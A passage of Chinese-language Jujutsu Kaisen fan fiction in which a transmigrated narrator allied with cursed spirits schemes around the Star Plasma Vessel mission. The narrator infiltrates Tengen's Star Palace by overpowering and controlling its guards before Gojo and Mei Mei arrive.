爹咪却摇了摇头,一副“你太天真”的表情,“一个盘星教算什么,从来没有深入过咒术界,能成什么气候?星浆体融合毕竟是咒术界举界瞩目的大事,怎么可能只有近身防卫,当然还有里外数层明暗防卫,那些诸多工作都不会被记录在总监部更新的日志上。所谓的‘任务’,实际上是做给外人看的,真正做事的各家少有人知的暗卫 ——比如禅院家,躯居留队就是这种任务的主力,他们哪怕用命填,也得把自己负责范围内的威胁清理掉。” 我瞳孔一缩,这些在原作那有限的漫画里可都没有表现。 “当然,这些暗卫也不是没有破绽。所谓的‘暗卫’并非只是御三家,这件事关乎整个咒术界,要出力的家族数不胜数。他们的行动是咒术界成形以来的潜规则,但……星浆体融合的轮回线极长。几百年,除了屹立不倒的御三家,剩下的那些家族势力早就不似从前,扩张的、消亡的、新生的,这就导致过去的规则永远赶不上新兴的变化。” 爹咪的手指沾水,在桌子上画出了几个相交的圆,“他们最大的问题,就是彼此不会互通消息。一旦出现重合的地区、或是有一点主家‘传错’的命令,那——”他嗤笑一声,一切尽在不言中。 “就像我刚才说的,这些暗卫本质上是死士,如果自己负责的防线出了问题,他们都得切腹。” 在这种压力之下,只要有足够的布局挑唆,就能让这些外围的主要防御力全线崩塌。 我瞳孔地震。 爹咪浸在咒术界的泥潭里太久了,别人总是轻视他,即使忌惮他的某些人也只是忌惮他的实力,所以更多的人忽略了——爹咪他是一个人闯江湖的,如果不够聪明,早就被吃得连骨头都不剩了,多少实力都不够填。 漫画里爹咪的行动过程我已经记不清楚细节,但可以肯定的是,那几格漫画根本没有把爹咪的布局全数表现出来。 单就是这刺探、挑唆、安排这些暗卫死士就足够连载几个月了。 我就说嘛——哪怕是漫画为了突出主角,也不能把整个咒术界的未来全部交给两个尚在成长的学生吧。 毕竟,实力归实力,这种任务还需要足够坚定的意志——随时为了咒术界的大局能牺牲自己的那种极端意志。 若只有他们一组成员行动,那么五条猫和杰哥就必须要对咒术界极度熟悉,才能做到随机应变。 可显然,此时的二人都没有达到这种程度。 原来一切都另有隐情——真让人醍醐灌顶。 表面任务用来镀金,而真正保护一切执行的那些人和家族是不会、也不能留下姓名的。 这样才能确保下一次的星浆体融合,不会有团体制定足够的策略以针对。 “那你觉得,这个任务会落在谁的头上?”我明知故问,实在是我对细节仍有好奇。 像这样镀金的任务,才需要更多的博弈。 爹咪也不藏私,甚至我觉得,他还挺享受这种好为人师的感觉。 我眼神中的震惊和敬佩无疑都滋润了他的好胜心,“别的不敢说,近身安排里一定有五条悟——当然,顺着五条悟这根线往下摸,常和他搭档的人,自然也能吃到这个红利。” 五条悟和夏油杰,固定搭配。 这个任务不需要治愈术式,所以也就没有把同级的硝子也包含进来。 “这种镀金的活儿,怎么也不会落到御三家之外的人身上。而有你的手笔在,加茂想分一杯羹?恐怕没戏——听说那光是清理那山头,他们就折了一批精锐进去。更别提在事发时,在那里训练的咒术师原本就是加茂一族的未来,别说是现在,就是未来十年,他们都喘不过这口气来。” 爹咪简直是人形南孚电池,一节更比六节强,一个人做情报工作,比许多专业的情报中心都要厉害。 情报的重点在于整理和分析。 有没有收集情报的渠道是一方面,接触到零散的情报后有没有敏锐度、有没有思考能力就是更重要的另一方面了。 爹咪简直牛大发了! “抛开加茂家后的势力里,禅院家等着重点培养的术师嘛——”爹咪拖长了音调,意有所指地看了我一眼。 我知道,他说的是惠惠,我很配合地接了一句,“想重点培养也得有机会,「十种影法术」可不在他们手上。” “我们知道,禅院家知道,五条家自然也知道。加茂家出了纰漏,自身在总监部的势力自然会被侵蚀。不过瘦死的骆驼比马大,能在加茂家身上撕下肉来的,也就只有禅院和五条。” 更何况,就算是其他家族想要横插一手,另外两家都不会允许。 御三家的格局一旦被打破,禅院家和五条家也一样会惴惴不安——唇亡齿寒就是这个理儿。 所以争夺归争夺,他们也一样会适时拉加茂家一把,否则仅凭当年加茂宪伦干的那些事,就足够整个咒术界齐心协力,把这个家族踩死了。 要知道,脑花做的那些实验,哪一样单拎出来,都是关乎咒术界“咒本”的大事。 那种情况都让加茂家缓了过来,今天也只是重复当年的步骤。 爹咪继续说道:“在禅院和五条里,显然因为五条悟的存在,五条家更注重这样的镀金任务。我料他们会让渡一部分在总监部的利益,以换取这个任务的分配权。” 一个任务,搞得弯弯绕绕的。 我不由感叹了一句,“我都想象不到,以后五条悟要是当了家,要怎么搞这种事。” 五条猫看上去就不像是能做这种级别权斗的人——咒术回战是热血番,不是权斗番。 谁料爹咪给了一个我完全想象不到的反应。 “哈哈哈哈哈哈哈,谁当家?他——五条悟?真是笑死人了,他可以是五条家未来的族长,但永远不可能是真正掌握五条家权势的人。”爹咪毫不犹豫地给出了这样一个暴论,“去翻翻御三家历代的族史吧。不论是「无下限」、「十种影法术」还是「赤血操术」,他们从来都是占据着族长的位置,却无法改变家族发展的真正进程——他们不是掌权者。” 这一点也不是不好理解。 咒术师的修炼需要大量的时间和精力,而玩弄权势也不是什么轻松的活计,想要二者兼得几乎是不可能的事情。 即使有那么万分之一的可能,或许也会被掐灭。 “权是权,力是力。如果没有足够撼动整个世界架构的事件发生,这个格局永远都不会变化,它是被刻意维系的,用你的话来说就是——‘命运’?” 爹咪眉毛一挑,让我更加清晰地意识到,他在原时间线里的颓废绝不是偶然。 他不仅仅失去了自己情感上的支柱,也比任何人都清楚这咒术界的形势——一眼望得到头,实在可怕。 我想,未来的五条老师或许也是在掌握五条家的过程中,切实认识到了这一点。所以即使有那样强大的实力,却还是没有捷径可走。 他一定是意识到了,从他那一代开始改变已经没了机会,只能从下一代入手,从“未来”入手。 不过,真正撼动了咒术界的却不是五条老师那样的培育精神,而是脑花的千年布局。 没有那样固化的命运机制,咒术界恐怕也很难这样有序地发展到如今的地步;可机制固化如此,却也同样让咒术界的发展变成了一个几乎无法打破的循环。 不论出多少“有志之士”,在这种大环境里,都是独木难支。 最后破局的人,竟然是脑花。 突然,我的大脑猛一震荡——脑花、脑花! 所以是说,脑花的意义或许不仅仅在于“反派”这样流于表面的身份,他的重要性在于,用一种极端的方式,改变了咒术界的宿命轮回吗!? 爹咪的话让我茅塞顿开。 看漫画的习惯让我的思维固定在了正邪之上——诚然,那也是“平衡”的关键。 但如果只论正邪,总有许多细节难以说通。 听爹咪一席话,胜读十年漫画书啊! 格局打开—— 脑花的职责远比我想象当中,还要重要、还要丰富。 这个“幼年期”世界,还没有成为完全体,就已经被固化的命运封锁了一切。 祂才是迫切需要打破枷锁成长的东西,祂才是真正需要“新鲜”的东西! 我可是亲身体验过世界意识影响力的人。 脑花能够在命运如此紧密的咒术世界里杀出一条血路来,需要的一切总是那样顺利。 真的只是他的功劳? 命运天定,谁又能说,脑花的行动里,没有世界意识的放任呢? 第35章 爹咪, 一款不为人所知的幕后黑手。 他的每个“预言”都在接下来的时间里,一一应验。 总监部的暗中博弈当然不会摆到台面上来,但加茂家行事确实收敛许多。与之相对的, 禅院一族活跃了起来, 最直接的表现,就是在最近几次总监部任务派发系统里,签的都是禅院家族下属的名字。 签这个名字, 就意味着总监部的人事安排、组织安排的权力全都落在了禅院一家上。 加茂无力争,五条主动退,在这个时间点上,禅院家确实是一家独大。 当然, 与这个“一家独大”为交换, 星浆体的护卫任务,确实还是落在了五条悟的身上。 只是和我想得略有出入,这个任务的时间被延得极后,像是在尽可能保护星浆体的真实身份——原作当中“保护星浆体”的任务,彻底变成了“护送”。 咒术师只会在最后一刻得知星浆体的位置, 然后将其护送至和薨星宫, 最大可能地减少了泄密。 同时,也尽可能杜绝了星浆体和咒术师可能建立起来的联系与羁绊。 这还是不是关键, 最让我震惊的是, 这个任务的主体没有夏油杰,而是五条悟和冥冥的组合。 他们两人的固定组合被拆开了? 这可不寻常。 在我记忆里, 这两个人的固定组合在夏油杰脱离咒术界之前, 从未有过改变。 这原本也就是咒术界不成文的规定, 咒术师们的组合固定, 才能尽可能培养出默契和羁绊, 从而更好地在任务当中活下来。 为此,我特意打听了夏油杰的动向—— “在加茂的山上?” 爹咪传给我的消息让我第一时间有些意外。 但仔细想想,倒是也说得通。夏油杰是咒灵操使,那满山失控的咒灵由他来收服自有克制作用。 看来,加茂家在折损了一批精锐进去后,便没有再往那座山上投入更多精力——暗护星浆体更为重要。如果在星浆体问题上也无法出力,那他们的威望才会真正一落千丈。 当然,其中也或许有其他家族——尤其是禅院家的推动。他们在借机继续压制加茂一族的权力。毕竟这些任务都是由禅院主导的总监部过的手,人事权、组织权一向比它表面看上去还要重要。 他们只需要把加茂一族的内部问题派送给加茂以外的咒术师,实际上就是在打压加茂家的权威。 禅院直毘人比我想象当中还要贪婪、也更加远视。 他不仅在为现在考虑,而且已经在给未来的「十种影法术」铺路。毕竟五条悟已经降世,这个事实无法改变。 五条家在这条实力上是占了至少十年先机的,这个时间经验很难弥补。 那么在家学实力的传承上,「十种影法术」和「赤血操术」之间就必然存在绝对竞争,争不过五条悟,也要争过彼此才行。 只可惜,禅院直毘人还不知道,「十种影法术」注定不会降生在禅院本家了。 在伏黑甚尔的家庭里,伏黑惠也绝对不可能遵循禅院直毘人的意愿返回禅院本家。 不过,虽说现在总监部是有禅院的一家独大,但加茂家也有自己的手段来止损。至少,在任务派遣上,夏油杰、灰原雄和家入硝子的任务组合全都是平民咒术师。 他们三人全部出身东京校,而非京那个各家族势力盘根错节的学校,甚至,他们三人也全部都是在校生。 和已经毕业的咒术师相比,在校生显然更加纯粹。同时,这三人组要战力有战力、要感知有感知、要奶妈有奶妈,组合构成绝对合理。 这已经是加茂家眼下状况里能够博弈出的最好结果。 至于为什么不把山上那一摊子事儿全都甩出去,而是非要先折损那一批本家术师进去——恐怕是为了清掉一些不能被察觉的残秽。 比如对两面宿傩手指的私藏,还有其他的违禁咒物。 一些违禁咒物可以在各家族间心照不宣,却不能真的摆到台面上来。 那五条悟和冥冥的组合也不是不能理解,一个战力、一个辅助——五条悟刚刚被我解锁了新技能,战力倍增,估计五条家也帮他走了简易流程来重新评级。 有了特级的称号,自然更有接此任务的资格。 而冥冥的风评一直不错,她的战力算不上顶尖,但论战术、论情报,她在整个咒术界也绝对是首屈一指。 仔细想想,这个组合也相当不错。足以应对这个“镀金”任务里可能出现的大部分难题。 至于那些难以应对的“小部分”问题——就算是再换回五条悟和夏油杰,我造成的“小问题”也难以阻挡。 但说实话,我原本并不打算在这件事上直接出手。有五条悟、有夏油杰,他们的恻隐之心足以阻止星浆体的融合。 但是,冥冥不一样。 她是个利益至上主义者,任务带来的收益和反抗任务的后果对比起来,不用猜都知道她会怎么选。 再加上任务“护送”的短暂性和五条悟刚刚被我利用过的“恻隐之心”,我有点担忧负面影响。 夏油杰在“护卫弱小”的理念上更加极端,也更让我放心。他原本才是最好的节制星浆体融合的手段,但蝴蝶效应带来的结果让我始料未及。 真不能怪我依赖漫画情节,谁能想到五条悟和夏油杰这样的组合会被拆开? 为了确保星浆体事件的结果,我必须得考虑直接干预。 但如果我要亲自监督这边的进程,那我原本的任务就得安排给别人了。 “哦?牵制特级咒术师——何不直接杀了,不过是个人类而已,能有多强?” 瑚宝,还是一如既往地喜欢放狠话。 他原本就是这样直来直往的火爆性格,花御真诚的劝说也恰挠到了他的痒处。一个属于咒灵的美好未来——这让漏瑚这样成熟期咒灵非常向往。 马斯洛需求层次理论嘛,漏瑚和底层咒灵不一样,他基本没有太多生存问题,自然就需要其他东西来填补精神上的空虚。 理想实在是个美妙的词。 画起来大饼都更加冠冕堂皇。 “如果你能杀自然是好,但我劝你可别小看了人类,他们可是现在这个世界的主宰。” 我打明牌刺激着他的神经。 果然,漏瑚鼻子里滋出一串炽热的蒸汽,炽热的诅咒在他体内翻涌—— 他红温了。 “不是‘是’,而是‘曾是’,他们曾是这个世界的主宰。” 他眼神轻蔑,倒是也承认过去那些时日里人类和咒灵的地位对比,“但——未来属于我们咒灵。” 真不知道花御是怎么和他说的,漏瑚从进入基地开始,就一直热血沸腾。 换个视角、换个好看的皮囊,就他这百折不挠的精神,和屡败屡战的意志,也绝对够格做少年漫主角了。 “咒灵的未来都在我们身上,”我站起身来以表决心,“能不能有未来,就看眼下的事能不能成了。漏瑚——那你能做到吗?” 他昂着下巴,既是不屑又是认真——不屑是针对人类,认真则是向我表达,“你说的那个特级咒术师,叫什么来着?” “九十九由基,”我并不担心一个特级咒术师的实力,但我却还不得不忌惮她也是星浆体的身份,“她是个很有想法的咒术师,和天元关系的僵硬梗在中间,我料她不会在薨星宫内,但或许会在外围。” 当然,那只是可能。 但任何可能存在的意外都必须重视。 羂索就是靠着这种精细才走到了这一步。 我把九十九由基的相关信息同步给漏瑚——他甚是兴奋,大概也是许久没有活动手脚了,迫不及待便冲了出去,一刻也不愿意在陀艮的领域里多待。 确实,漏瑚和陀艮的属性相斥,一个是水、一个是火。平日里相处也就罢了,在另一人的生得领域里,确实也有诸多不自在。 “花御,你跟上去,让他不要轻举妄动,等我信号。” 我没有尝试去做“劝服漏瑚”这样的无用功,他连未来的28悟都要亲自挑战试试,更何况是普通的特级,九十九由基。 倒不如直接让更听话的花御看着他,至少能兜个底。 待花御也离开,我赶紧关注了一眼时间,这个点儿,接到任务的五条悟和冥冥应该也已经出发了。 那我也不能再耽搁,一把抓起真人直奔薨星宫而去。 真人的术式着实好用。 不论五条悟和冥冥最终的决定为何,会不会有恻隐之心,但只要他们想让星浆体和天元融合,那就必须把人送到薨星宫来。 我必须得赶在他们之前混进去,才能守株待兔。 如果他们不来,你自然是好,让他们去后续咒术界的压力。到时候禅院家和加茂家也不会放过那个压制五条家的机会。总监部的水越浑,对我也便越有利。 可如果——他们把星浆体送来了话。 那我就得硬碰硬地拼一下了,只看看这个真正掌握了「六眼」的五条悟,能强到什么地步去。 第36章 薨星宫, 咒术师们心照不宣的“神宫”。 这个宫殿明明就在人间,对咒术师们来说,却仿佛挂在难以触碰的云端。 这里从内到外全是禁地, 任何咒术师在没有许可的情况下都不允许踏足——不论是特殊的能力者, 还是特殊的权力者,都没有例外。 这里也是唯一一个允许直接处决咒术师和诅咒师的地方。 护卫者如遇擅闯,有权力不做任何汇报直接杀死入侵者。 哪怕是特殊如五条悟、掌权如禅院直毘人, 擅闯薨星宫,在这里都没有特权。 当然,独立如薨星宫,能在这里做护卫的咒术师也不是总监部能够委派的, 所有护卫人员都由这位“天元大人”直接选择, 任何人不得干预,堪称咒术界的羽林卫。 本就是精挑细选,被委以如此信任,后者的忠诚也可想而知。 至于如何选择这些人—— 咒术界最普遍使用的「帐」是天元的“眼”,只要是被「帐」所覆盖的地方, 他就可以是“全知”的“神”。 这种“全知”属性, 即使是我也无法避免。 所以,想要在这里用袭击加茂家用过的套路, 显然不可取。 好消息是, 为了保持这种“神性”,天元也确实几乎不会主动干涉咒术界的问题, 哪怕是百年前, 五条家和禅院家——那时的「六眼」和「十种影法术」已经斗到了同归于尽的地步, 天元也仍是一言不发。 要他插手, 除非是那个“问题”已经威胁到了咒术界既定的发展。 什么叫“既定发展”, 岂不正是宿命轮回? 我眉头一皱——如此作想的话,那天元岂不一直是这个宿命轮回中最大的维护者? 他或许不会干涉我在加茂山头上所做的一切,但如果我之所做切实侵略到了他和星浆体的身上,一切或许就不一样了。 甚至,比起咒术界的结构本身,天元更加固化。 结构的存在有其固定的利益维护者,但天元…… 他简直是个“卫道士”,纯粹得毫无来由。 我不相信,这个世界上、这个体系里会有真正无缺的纯洁。 天元的目的又在何处? 为了他自己? 他真正的欲望又是怎样的呢。 我敲了敲体内宿傩大爷的领域,自从和我达成合作之后,这家伙有点懒怠过头了。 “关于天元,你究竟知道多少?”我开门见山直白地问他。 他只是冷嘲似的笑了一声,回应一如既往,“我不是早就说过了吗,想知道的话,就更努力地去收集我的手指吧。” 果然,他还是没有正面回答的欲望。 但,不回答本身也是一种答案——这说明他确实和天元有强烈的关系,强烈到他的记忆中一定拥有答案,强烈到他无法毫无芥蒂地提起。 两面宿傩并不是个沉默寡言的人,说实话,他时常在我体内各种吐槽嘲讽我的行动,像个话痨——毕竟被封印了那么多年,有表达欲是很正常的事。 就是因为他之前表现出了足够的表达欲,才显得此时的沉默足够异常。 “咒术之神”、“诅咒之王”——他们之间一定存在某些我不曾想到的联系。 总不能真是小情侣吧? 如果只是过去的一点渊源,两面宿傩这样的人或许不会避讳谈起。除非——这个“过去”让他耻于谈起,或是牵涉到了现在的某些状况。 我不着边际地胡乱思考着,脑内不知不觉又是几千字狗血小作文。 不过,这些脑补并不影响我办正事。 不能重新用老套路来对付天元的「帐」,薨星宫外的防御深厚,那些不知存在了多少年,不知加固了多少次的「帐」难以卡bug。但我真正要找的突破的可不是「帐」这种死物——任何时候、任何地点,一个防御中最大的破绽,都是人。 机制是死的,人是活的。 不论如何培养,人始终无法变成「帐」那样完全由天元掌握的东西。 远远在「帐」外,我便让真人放出了被捏制的灵魂。 指头大小的固体在诅咒的催动下快速膨胀,石制的皮肤柔化成膜,很快就显露出了人类的姿态。 这是个诅咒师,还是个有点名气的诅咒师,也是一个不会被天元放在眼里的对象。 我猜,天元估计已经知道这个诅咒师会在今日到来。 已经预料到的事便不会引起人的警惕。 不枉伏黑甚尔在挑唆各家保护势力上做的努力;也不枉我专门蹲在路上截杀了这个诅咒师——他盘星教雇佣的佣兵之一。 盘星教的目的是绝对的——不论有没有伏黑甚尔,他们都会想办法阻止星浆体的融合。 他们花了大价钱在情报收集上,总监部尽可能拖延星浆体任务公布的时间也在于此。 但也正是因为任务泄露的时间晚,盘星教雇佣的众多诅咒师中,自然就有专门负责到薨星宫里做最后保险的人。 “不许自由发挥,”我一拳锤在了真人的脑壳上,“他得以最正常的人类姿态吸引那些咒术师的注意力,别给他捏尾巴捏角、人类的汗毛没有这么长……昨天真不该给你买黑马喽的游戏。” 真人委屈地看着我,见我确实不为所动,才失落地将此人的灵魂重新填了回来。 已经死亡的诅咒师早没有了自我意识,全靠真人的诅咒驱动,身上自然带着些诅咒的气息。 好在大部分的诅咒师也不是什么好东西,他们身上时常带着些“违禁物品”,有这种气息也并不奇怪。 果然,他的靠近没有激起天元的任何反应,穿过第一层隐蔽起来、专用于感知的「帐」。护卫们的状态,很快显现出来。 是两人一组的传统组合,大概率也是一个主攻,一个辅助。 “就是现在。” 在我指挥之下,真人的手只略一抽动,诅咒师隐秘的气息便泄露了出来。 右边的护卫A神色一顿,眼睛锐利地刺向了灌丛的方向,率先发现了异常。 看来他就是两人中的那个辅助角色了。 护卫A和旁边护卫B交换了一个眼神,后者和前者常年配合的默契让B迅速get到了A的隐意。他们巡逻移动的方向悄然改变,不动声色地靠近了诅咒师的方向。 我按住真人,让他收敛掉诅咒师的气息,假意藏匿。 三秒、五秒、七秒—— 几个紧张的呼吸后,两个护卫终于近到了必杀的战斗范围内。 毫无征兆,术式瞬发! 护卫B的攻击没有任何准备动作,他的眼睛甚至没有看向灌木丛的方向,术式带起的灼热便直直扑向了诅咒师的位置。 太精准了。 A大概是个感知类的能力者,并且在我看不到的地方、用我不知道的方式,给B指明了方向。 真人的手向后猛然一拉,诅咒师从灌丛后撤,胸口的衣衫被撕开了一道长长的裂痕,隔着覆在脸上的面具,攻防双方的视线相撞。 再逼真的人偶也是人偶,真人操控的诅咒师脸上是无法消除的死气,如果没有面具,那便会迅速展露异常。 可如果有面具的遮挡,那毫无生机的眼神便像是冷静到极致的理智。 “拉回来!” 我马上下达了命令。 我的声音足够严厉,真人没有一秒的耽搁,直接将诅咒全部灌入了诅咒师的腿脚之中,使其不需要转身就能迅速后撤。 “哪里走!” 这样明目张胆的诅咒师是护卫必须排除的威胁。 我也不是随便挑的护卫——我选择的是最年轻的一组。 他们的经验不丰,情绪激烈。被“咒术之神”选中并委以信任,则更易冲动——只有这样年纪的人,才能保证,一定会追出来。 当然,冲动的人会配以冷静的搭档——天元安排也很到位,专修感知的护卫A并没有跟随B的脚步,而是守在了自己的隘口。 他手里抓着一块木牌,如果再有异常,他便会马上把信息传出去。 而护卫B则是不断加速,穿过最外层的「帐」,落入了“天元之眼”的控制外。 这就没有必要再勾|引了。 我没有丝毫犹豫,从暗处窜出,极致的提速甚至确保空中连一道残影都不会留下。 在这事上,我可没有再用真人。 他下手,可向来都没有轻重。 我的攻击并不是直奔护卫的性命,而是奔着护卫的脖颈。他目光惊异地落在我身上时,我的诅咒便已经透过他的皮肤,深入了内部,毫不犹豫地破坏了他的声带——我要让他在第一时间无法发出声音。 但,他可不能死。 和破坏声带就在同一秒,我一把抓住他的手腕,毫不犹豫折断。 “你没有机会再传信回去了。” 我甩掉了他手上的木牌。 紧接着的行动一刻不停,我的手指毫无滞涩地伸入了护卫的身体,攥住了他丹田内咒力循环的核心,用力一捏。 就像是挤压海绵中的水,将他的体内的咒力榨了出来。 他的咒力像是一盘海味,从捕捞到入嘴的间隔时间极短,不需要多余的烹饪便足够鲜美。 这是绝望和惊恐的味道。 难怪咒灵们总是喜欢玩弄人类,喜欢看着人类陷入完全绝望之境再行享用——那不仅仅是漫画效果,而是这种味道真是好得出奇。 不仅味道好,人在恐惧和惊慌状态下的咒力量也更大。 我舔了舔嘴,让护卫的咒力充盈在我的体内。 如此咒力再佐以真人的术式,我便有机会将自己完全覆盖成另外一人的模样——从内到外,从容貌到咒力再到术式。 任谁有多强的感知,都无法轻易看破这种级别的伪装。 当然,人与人之间的熟悉是很难用机械的术式来还原的,护卫AB这一对搭档之间必然了解至深。 但,所谓信任不需要维持多久,只要护卫A能在一个瞬间内,毫无防备地允许我的靠近,便已足够。 我掏出一朵看似平平无奇的五瓣红花藏在掌心——这是花御的花,花蕊上附着则她的术式。只要护卫A有一个瞬间能够相信我的真实,就足够这个术式起效。 当然,在「账」之中,天元或许会发现异常。 但且不论真人的“全知”之下需要处理大量的信息,这么长的存活时间,他首先要学会的就是过滤不重要的垃圾信息——外面这个连护卫们都不知道的隐匿之「帐」,就是来帮天元筛选垃圾信息的。 而且,就像我之前说的,天元奉行的是非必要不干涉主义。即使他真的意识到了什么,也只会认为我是个混入其中的诅咒师。 我不会进入宫殿内层,只在这外围,便绝不可能触动到天元的神经。 他不会把区区一个诅咒师放在眼里——这点判断力,我还是有的。 剩下的,就要看五条悟和冥冥,到底会不会来这薨星宫了。 我最后看了一眼时间,伏黑甚尔的短信二十分钟前就已经发到了我手机上。 五条悟和冥冥的任务已经开始,盘星教大张旗鼓的动作也都不遗余力地活动起来。 接下来的一切,便都能短暂地掩藏在盘星教的阴影之下。 是时候了。 “真人,通知花御,让漏瑚做准备。” 九十九由基也是星浆体体质,作为唯一的备选方案,天元一定紧密关注着她的动向。 那边闹得越大,就显得我的动作越小。 只要天元能够忽略过我去,五条悟便也不会在第一时间,察觉到我的存在。 第37章 时间在专注中流逝, 我在心里默默对照着天色。 明明已经到了晚间,可这薨星宫外却依然是阳光明媚。就像是前院池水中漂浮着的睡火莲和薨星宫角上常开的昙花。 这些都违反着科学规律,是只有薨星宫内才会出现的场景。 也正是有这些环境的衬托, 薨星宫的主人才显得更加高不可攀。 旁边已在我控制之下的护卫A突然一顿, 他身上的术式感知沿着无形的空气并入我的感知中。 紧跟着这股抽象的感知,他的声音也随之跟来,在我的大脑中响起。 ——左二, 右三。 言简意赅。 这就是他和护卫B能不动声色交流的原因,也是他术式的表现方式。用咒力作为声音传播的介质,将声音重新编码。 而他所传达的暗语,则是基于一张AB两人都提前记下的地图。 有了地图基准, 再用方向和数字, 便能定位薨星宫范围内的所有位置。 而这张地图,是护卫B所有记忆里,对我来说最有用的东西。 A已经感觉到,有人来了。 而且是没有“通行令牌”的人。 我迅速警觉,心脏剧烈跳动起来, 细细地揪着护卫A同步的感知不放。 在天元的「帐」中, 我不敢铺陈太密集的诅咒来做自己的“眼”。 毕竟我的身体里转化着两面宿傩的咒物——两面宿傩对天元有那样清晰的认知,难道天元会认不得两面宿傩吗? 我按捺住急促跳动的心脏, 屏息凝神, 让护卫A打头阵,迅速靠近着他感知到的定点。 从百米之外, 到十数米内, 我只用了十几秒的时间。 薨星宫内, 灌丛树木密集, 每一个看似无用的花草之上, 都可能携带着术式——我很快便已意识到,即使我不管不顾地铺开诅咒感知,也会被这些看似浅陋的咒力对冲干净。 在薨星宫里,只有被委派的咒术师才能使用感知型术式。 但,这些咒力和术式可以阻挡无形感知,却无法阻挡有形的视觉。 刺眼的阳光之下,我马上便看到了薨星宫的“入侵者”。 五条悟和冥冥。 当然,还有那个显然受到了惊吓的星浆体。 我压住了想要上扬的嘴角——虽然他们没能按我的初设直接还星浆体自由。 但是,我提前在盘星教佣兵身上安插的诅咒起了效果。他们或许拦不住五条悟,但却有机会毁掉那块通行令牌。 五条悟才是这个任务的主导者,令牌必然会放在他身上。但和紧张谨慎的冥冥不同,他痛恨规则的束缚,又被才刚刚彻底开发的「六眼」搅动着神经,同时,并不真正掌五条家权的他对薨星宫的认知很少,自然不会过于看重那块令牌。 只要全力进攻星浆体,他的注意力自然会被吸引倾斜。 还得特别鸣谢一下伏黑甚尔,即使退圈多年,他对佣兵同行们的了解依然深刻——也得感谢薨星宫,比起那些毫无名气的新人,他们也更倾向于雇佣那些有经验的老人。 所以,该在什么人身上设置诅咒才能起到最好的效果,伏黑甚尔大有见地。 护送星浆体的任务组合正站在「帐」设置的安全线外,五条悟似乎是想直接进来,但冥冥坚定地挡在了他身前。 她扬声对着内喊话,正说明着状况。 我最后整理了一番自己的状态,确认全身的诅咒都藏在咒力伪装之下,这才径直走上前去。 旁边受控的A比我更加主动,连套话都说得顺溜。 “薨星宫重地,无关人等不得入内。” 花御的术式会扰乱他的大脑,但却并不会他真的变傻,像这样的问询早已成为护卫DNA中的程序。 也好,有他挡在我前面,自然就能延缓我被发现的速度,靠得越近,我也就越容易得手——五条悟和星浆体靠得太紧了,即使是在身后,「六眼」的环行全视野也能在第一时间反应过来。天空中也飞着冥冥的乌鸦,就连星浆体头上胖乎乎的小鸟恐怕也是冥冥的的术式。 我并不想杀死这个毫无罪孽的女孩,她甚至不是咒术师,只是因为一个特殊的体质就被桎梏在了设定好的人生当中。 不能和任何人交往至深、不能和任何人吐露心声,甚至要劝服自己、催眠自己,将自己的身体、灵魂、精神意志全数献给天元是合理的、是伟大的。 孤独、可悲。 她对我毫无威胁,相反,她也是被困在命运之中的人,杀死她是不必要的事情。 诚然,杀戮永远都是最简单、最一劳永逸的方式,但如果我也如此作为,我和天元本质上又有什么区别? 更何况,我也没有到了山穷水尽、不得不杀的地步。一直以来,星浆体的融合有一样至关重要的因素——时间。 就像羂索所做的一切,他在意识到这次轮回已然失败之时,第一反应就是要杀死五条悟,加速新轮回的开启时间。 在这场宿命轮回中,人是核心,但将这些人连起来的,却毫无疑问是时间。 即使人死,只要时间把握得当,也只是再次重启轮回而已。 在特殊的时间做特殊的事,星浆体的融合周期是固定的,前后能灵活增减的空间不大——天元也并非毫无恻隐之心,我已经在加茂一族和禅院一族的记录里对照调查过。 他每次的融合时间在可调整的范围内,都相当偏后,他也很清楚,让星浆体尽可能地不留遗憾,才能让星浆体更加顺服、让融合更加顺利。 再加上这次总监部自己的拖延,现在的时间对于星浆体融合来说,绝对是前所未有的急迫。 我不需要杀死她,我只需要带走她。 用不了多久,星浆体对天元就没有意义了。 “我们不是无关人士。”冥冥赶在五条悟开口之前抢过了话语权,她不想知道最近心情奇差的五条悟,会在这个时候说出点什么不敬的话来,“我们奉命,为天元大人护送星浆体而来。” 她说着侧身,将怯生生的星浆体露了出来。 这个形象和原作中的张扬可多有不同,衣角和鞋底都沾染着血液,恐怕是被这不太平的一路给吓坏了。 咒术师的战斗对普通人来说可没那么赏心悦目。 而且,五条悟现在的状态可不像是会对诅咒师手下留情的样子、也不像是会照顾星浆体情绪的样子。 “若是奉命,当有令牌。” 护卫A尽职尽责,半点没有被徇私的意思。 五条悟皱眉,他平日里是恣意惯了的,“难道你们没收到命令吗,护送者就是我——五条悟和冥冥,”他说着手指一拉,拆掉了缠在眼上的绷带,“难不成还有人能冒充我吗?” 哪怕是羂索对术式的拆解模拟,实际上也只能模仿「无下限」,「六眼」这样的生理特性是独立的。 在薨星宫上班,也不意味着脱离了社会,没有咒术师会不认识五条悟。 我眼睛扫过那散落在手指间的绷带——和眼镜有着类似的特性,它可以限制「六眼」的效果,缓解其给五条悟大脑带来的压力。 但很显然,绷带的紧缚效果要远强于眼镜——甚至几倍于后者。 看来,现在「六眼」带来的压力,可比原来还要大。 即使有「反转术式」能够修复不断被海量信息灼烧的脑子,五条悟也还没有适应这个过程。 等到熟练适应了,估计也就可以换微松的眼罩了。 当然,如果遭遇重大的情绪变化,「六眼」带来的效果可能仍会异变或是进化。那样的特殊情况下,五条悟或许还会再短暂用回绷带。 不论如何,绷带这个道具,代表的就是一个不稳定的、需要较强手段束缚的能力状态。 这是个好消息也是个坏消息。 不稳定自然是好,但不稳定也时常代表着出其不意——后者可不是我想看到的。 “任何人、任何能力在薨星宫都没有例外,如果没有令牌,便不得进入。” 在护卫A义正词严之间,我毫不掩饰自己挪动脚,亮出咒具,随时准备战斗的模样。 作为一个护卫,我的动作再正常不过了。 果然,五条悟和冥冥都没有意识到任何异常。 “啧——”五条悟皱眉,他抬眼看向「帐」内,常人看不出来,但他却不会忽略,里面层层叠加的「帐」有多厚重。 哪怕是他想要强闯都没有那么容易,“反正这也是薨星宫的范围了,既然不让我们进去,那你们来接手这个任务?” 冥冥神色一紧,马上就想插话阻止。 毕竟他们的任务甚至要求要亲眼见到星浆体的融合结束,万一他们把人交在这里,后期出了事他们一样得承担责任。 “但——万一你们的接手出了问题,那就是你们的责任了。”五条悟很清楚要如何拿捏这些护卫,“办砸了差事事小,可要是耽误了你们的天元大人……” 旁边的A桑在花粉的影响之下竟然都表现出了紧张。 我眼睛一转,手指微动压制着A桑的表达欲望,同时也摆出了一副相同的急脸来。神色挣扎了数秒后,又多看了五条悟几眼,像是在验证他的那双「六眼」。 接着才开口,“你可以进去。” 